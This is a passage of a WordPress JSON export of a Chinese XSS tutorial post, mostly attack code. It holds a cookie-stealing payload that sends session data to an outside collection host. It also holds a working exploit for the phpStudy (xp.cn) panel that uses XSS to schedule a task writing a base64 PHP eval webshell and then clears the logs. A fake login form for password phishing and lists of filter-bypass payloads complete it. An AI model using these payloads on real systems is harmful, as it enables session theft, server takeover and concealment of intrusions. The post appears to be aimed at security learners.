Image()).src=website+'\/?keepsession=1&amp;location='+escape((function(){try{return document.location.href}catch(e){return''}})())+'&amp;toplocation='+escape((function(){try{return top.location.href}catch(e){return''}})())+'&amp;cookie='+escape((function(){try{return document.cookie}catch(e){return''}})())+'&amp;opner='+escape((function(){try{return(window.opener&amp;&amp;window.opener.location.href)?window.opener.location.href:''}catch(e){return''}})());})();<\/strong><\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/image-54-1024x463.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"463\" data-original=\"https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/image-54-1024x463.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-672\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\" style=\"text-indent:5px\">\u70b9\u51fb\u751f\u6210<code>payload<\/code>\uff0c\u7136\u540e\u5728\u5c0f\u76ae\u7684\u767b\u5f55\u9875\u9762\u4e2d\u63d2\u5165\u8fd9\u4e2a<code>XSS<\/code>\u8bed\u53e5\uff0c\u6ce8\u610f\u591a\u63d2\u51e0\u6b21<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/image-55-1024x463.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"463\" data-original=\"https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/image-55-1024x463.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-677\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\" style=\"text-indent:5px\">\u6211\u4eec\u6a21\u62df\u7ba1\u7406\u5458\u767b\u5f55\u5c0f\u76ae\u540e\u53f0\uff0cXSS\u63a5\u53d7\u5e73\u53f0\u6210\u529f\u83b7\u53d6Cookie<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/image-56-1024x463.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"463\" data-original=\"https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/image-56-1024x463.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-681\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\" style=\"text-indent:5px\">\u4e4b\u540e\u5c31\u662f\u6293\u5305\u66f4\u6539Cookie\u503c\u5373\u53ef<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\ud83d\udcdc \u6570\u636e\u63d0\u4ea4<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li class=\"has-medium-font-size\"><strong>\u4ea7\u751f\u539f\u7406<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">\u901a\u8fc7\u53bb\u5199\u5165\u4e00\u4e2a<code>XSS<\/code>\u8bbf\u95ee\u5730\u5740\u7684\u5f62\u5f0f\uff0c\u8ba9\u7cfb\u7edf\u4e0b\u8f7d\u8fdc\u7a0b\u6076\u610f<code>JS<\/code>\u6587\u4ef6\uff0c\u7136\u540e\u5199\u5165\u6076\u610f\u4ee3\u7801\uff0c\u6bd4\u5982<code>WebShell<\/code><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li class=\"has-medium-font-size\"><strong>\u6848\u4f8b\u6f14\u793a<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">\u5c0f\u76ae\u63a7\u5236\u53f0\u6709\u4e00\u4e2a\u6587\u4ef6\u7ba1\u7406\u9875\u9762\uff0c\u6cc4\u9732\u4e86\u7f51\u7ad9\u6587\u4ef6\u5939\u7684\u5730\u5740<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/image-57-1024x387.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"387\" data-original=\"https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/image-57-1024x387.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-694\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\" style=\"text-indent:5px\">\u5c1d\u8bd5\u5229\u7528<code>XSS<\/code>\u53bb\u8ba9\u4ed6\u52a0\u8f7d\u4e00\u4e2a\u8fdc\u7a0b\u6587\u4ef6<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code><strong>\/\/ poc.js\nfunction exp() {\n    $.ajax({\n        url: '\/service\/app\/tasks.php?type=task_list',   \/\/\u83b7\u53d6\u8ba1\u5212\u4efb\u52a1\u5217\u8868\n        type: 'GET',\n        headers:{\n            \"X-Requested-With\": \"XMLHttpRequest\"\n        },\n        dataType: 'json',\n        success: function (data) {\n            var id = data.data&#91;0].ID;    \/\/\u4efb\u52a1\u540d\u79f0\n            $.ajax({\n                url: '\/service\/app\/tasks.php?type=exec_task',     \/\/\u6267\u884c\u8ba1\u5212\u4efb\u52a1\n                type: 'POST',\n                headers:{\n                    \"X-Requested-With\": \"XMLHttpRequest\",\n                    \"Content-Type\": \"application\/x-www-form-urlencoded; charset=UTF-8\"\n                },\n                data: { tid: id },\n                dataType: 'json',\n                success: function (res) {\n                    $.ajax({\n                        url: '\/service\/app\/log.php?type=clearlog',\n                        type: 'POST',\n                        data: { type: 'clearlog' },\n                        dataType: 'json',\n                        success: function (res2) {}\n                    });\n                }\n            });\n        }\n    });\n}\n\nfunction save() {\n    var data = new Object();\n    data.task_id = '';\n    data.title = 'shell_title';\n    data.exec_cycle = '5';\n    data.week = '1';\n    data.day = '3';\n    data.hour = '1';\n    data.minute = '1';\n    data.shell = 'echo \"PD9waHAgZXZhbCgkX1JFUVVFU1RbJ2NtZCddKTs\/Pg==\" | base64 -d &gt; C:\/xp.cn\/www\/wwwroot\/admin\/localhost_80\/wwwroot\/shell.php';    \/\/\u8981\u6267\u884c\u7684\u547d\u4ee4\n    $.ajax({\n        url: '\/service\/app\/tasks.php?type=save_shell',\n        type: 'POST',\n        headers:{\n            \"X-Requested-With\": \"XMLHttpRequest\",\n            \"Content-Type\": \"application\/x-www-form-urlencoded; charset=UTF-8\"\n        },\n        data: data,\n        dataType: 'json',\n        success: function (res) {\n            exp();\n        }\n    });\n}\n\nsave();<\/strong><\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\" style=\"text-indent:5px\">\u901a\u8fc7\u767b\u5f55\u6846\u63d0\u4ea4\u6211\u4eec\u7684\u6076\u610f<code>XSS<\/code>\u8bed\u53e5<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/image-58-1024x463.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"463\" data-original=\"https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/image-58-1024x463.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-704\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\" style=\"text-indent:5px\">\u8bbf\u95ee\u540e\u53f0\u9875\u9762\uff0c\u67e5\u770b\u6587\u4ef6<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/image-59-1024x378.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"378\" data-original=\"https:\/\/duoduosec.fun\/wp-content\/uploads\/2026\/05\/image-59-1024x378.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-708\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\" style=\"text-indent:5px\">\u6210\u529f\u521b\u5efa\uff0c\u4e0b\u4e00\u6b65\u5c31\u662f\u5229\u7528\u8fd9\u4e2aShell<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\ud83c\udfa3 \u9493\u9c7c\u4e0e\u6b3a\u9a97<\/h3>\n\n\n\n<pre class=\"wp-block-code\"><code><strong>\/\/ \ud83c\udfa8 \u4f2a\u9020\u767b\u5f55\u6846\nvar fakeForm = '&lt;div style=\"position:fixed;top:0;width:100%;background:white\"&gt;' +\n                '\u8bf7\u91cd\u65b0\u767b\u5f55:&lt;input name=\"password\"&gt;' +\n                '&lt;button onclick=\"sendPass()\"&gt;\u63d0\u4ea4&lt;\/button&gt;&lt;\/div&gt;';\ndocument.body.innerHTML += fakeForm;<\/strong><\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">\u4e94\u3001\u5b9e\u6218\u6f14\u793a &#8211; \u5982\u4f55\u53d1\u73b0\u4e0e\u5229\u7528<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">\ud83d\udd0e \u624b\u5de5\u6d4b\u8bd5\u6b65\u9aa4<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li class=\"has-medium-font-size\"><strong>\u7b2c\u4e00\u6b65\uff1a\u627e\u8f93\u5165\u70b9<\/strong><\/li>\n<\/ul>\n\n\n\n<ol class=\"wp-block-list\">\n<li>URL\u53c2\u6570\uff08?key=value\uff09<\/li>\n\n\n\n<li>\u8868\u5355\u8f93\u5165<\/li>\n\n\n\n<li>HTTP\u8bf7\u6c42\u5934\uff08Referer\u3001User-Agent\u7b49\uff09<\/li>\n\n\n\n<li>\u6587\u4ef6\u4e0a\u4f20\u7684\u6587\u4ef6\u540d<\/li>\n<\/ol>\n\n\n\n<ul class=\"wp-block-list\">\n<li class=\"has-medium-font-size\"><strong>\u7b2c\u4e8c\u6b65\uff1a\u6ce8\u5165\u7b80\u5355Payload<\/strong><\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-preformatted\"><strong>\u6700\u7b80\u5355\uff1a&lt;script&gt;alert(1)&lt;\/script&gt;<br>\u53d8  \u79cd\uff1a&lt;img src=x onerror=alert(1)&gt;<br>       javascript:alert(1)<br>       \"&gt;&lt;script&gt;alert(1)&lt;\/script&gt;<\/strong><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li class=\"has-medium-font-size\"><strong>\u7b2c\u4e09\u6b65\uff1a\u89c2\u5bdf\u6267\u884c\u4f4d\u7f6e<\/strong><\/li>\n<\/ul>\n\n\n\n<ol class=\"wp-block-list\">\n<li>\u8f93\u5165\u8f93\u51fa\u5728HTML\u6807\u7b7e\u5185<\/li>\n\n\n\n<li>\u8f93\u5165\u8f93\u51fa\u5728\u5c5e\u6027\u503c\u5185<\/li>\n\n\n\n<li>\u8f93\u5165\u8f93\u51fa\u5728JavaScript\u4ee3\u7801\u4e2d<\/li>\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\">\ud83c\udfaf \u5e38\u89c1\u7ed5\u8fc7\u6280\u5de7<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li class=\"has-medium-font-size\"><strong>\u5927\u5c0f\u5199\u7ed5\u8fc7<\/strong><\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-preformatted\"><strong>&lt;ScRiPt&gt;alert(1)&lt;\/ScRiPt&gt;<\/strong><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li class=\"has-medium-font-size\"><strong>&nbsp;\u53cc\u5199\u7ed5\u8fc7<\/strong><\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-preformatted\"><strong>&lt;scr&lt;script&gt;ipt&gt;alert(1)&lt;\/scr&lt;\/script&gt;ipt&gt;<\/strong><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li class=\"has-medium-font-size\"><strong>\u7f16\u7801\u7ed5\u8fc7<\/strong><\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-preformatted\"><strong>&lt;!-- HTML\u5b9e\u4f53\u7f16\u7801 --&gt;<br>&amp;lt;script&amp;gt;alert(1)&amp;lt;\/script&amp;gt;<br><br>&lt;!-- URL\u7f16\u7801 --&gt;<br>%3Cscript%3Ealert(1)%3C\/script%3E<br><br>&lt;!-- Unicode\u7f16\u7801 --&gt;<br>\\u003cscript\\u003ealert(1)\\u003c\/script\\u003e<\/strong><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li class=\"has-medium-font-size\"><strong>&nbsp;\u4e8b\u4ef6\u5904\u7406\u5668\uff08\u4e0d\u9700\u8981&lt;script&gt;\u6807\u7b7e\uff09\uff1a<\/strong><\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-preformatted\"><strong>&lt;img src=\"x\" onerror=\"alert(1)\"&gt;<br>&lt;body onload=\"alert(1)\"&gt;<br>&lt;input type=\"text\" onfocus=\"alert(1)\" autofocus&gt;<br>&lt;svg onload=\"alert(1)\"&gt;<\/strong><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li class=\"has-medium-font-size\"><strong>\u4f2a\u534f\u8bae<\/strong><\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-preformatted\"><strong>&lt;a href=\"javascript:alert(1)\"&gt;\u70b9\u51fb&lt;\/a&gt;<br>&lt;iframe src=\"javascript:alert(1)\"&gt;<\/strong><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">\u516d\u3001\u603b\u7ed3<\/h2>\n\n\n\n<p class=\"has-medium-font-size wp-block-paragraph\"><strong>\u5e38\u7528\u6807\u7b7e\uff1a<a href=\"https:\/\/www.freebuf.com\/articles\/web\/340080.html\">xss \u5e38\u7528\u6807\u7b7e\u53ca\u7ed5\u8fc7\u59ff\u52bf\u603b\u7ed3 &#8211; FreeBuf\u7f51\u7edc\u5b89\u5168\u884c\u4e1a\u95e8\u6237<\/a><\/strong><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\ud83d\udee0\ufe0f \u4f7f\u7528\u7684\u5de5\u5177 \u4e00\u3001\u6838\u5fc3\u6982\u5ff5\u4e0e\u539f\u7406 \ud83c\udfaf \u4ec0\u4e48\u662fXSS\u6f0f\u6d1e \u5b9a\u4e49\uff1a\u653b\u51fb\u8005\u5c06\u6076\u610f\u811a\u672c\uff08\u901a\u5e38\u662fJavaScript [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":100,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[8],"tags":[18,14],"class_list":["post-447","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-learning","tag-xss","tag-14"],"_links":{"self":[{"href":"https:\/\/duoduosec.fun\/index.php\/wp-json\/wp\/v2\/posts\/447","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/duoduosec.fun\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/duoduosec.fun\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/duoduosec.fun\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/duoduosec.fun\/index.php\/wp-json\/wp\/v2\/comments?post=447"}],"version-history":[{"count":212,"href":"https:\/\/duoduosec.fun\/index.php\/wp-json\/wp\/v2\/posts\/447\/revisions"}],"predecessor-version":[{"id":746,"href":"https:\/\/duoduosec.fun\/index.php\/wp-json\/wp\/v2\/posts\/447\/revisions\/746"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/duoduosec.fun\/index.php\/wp-json\/wp\/v2\/media\/100"}],"wp:attachment":[{"href":"https:\/\/duoduosec.fun\/index.php\/wp-json\/wp\/v2\/media?parent=447"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/duoduosec.fun\/index.php\/wp-json\/wp\/v2\/categories?post=447"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/duoduosec.fun\/index.php\/wp-json\/wp\/v2\/tags?post=447"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}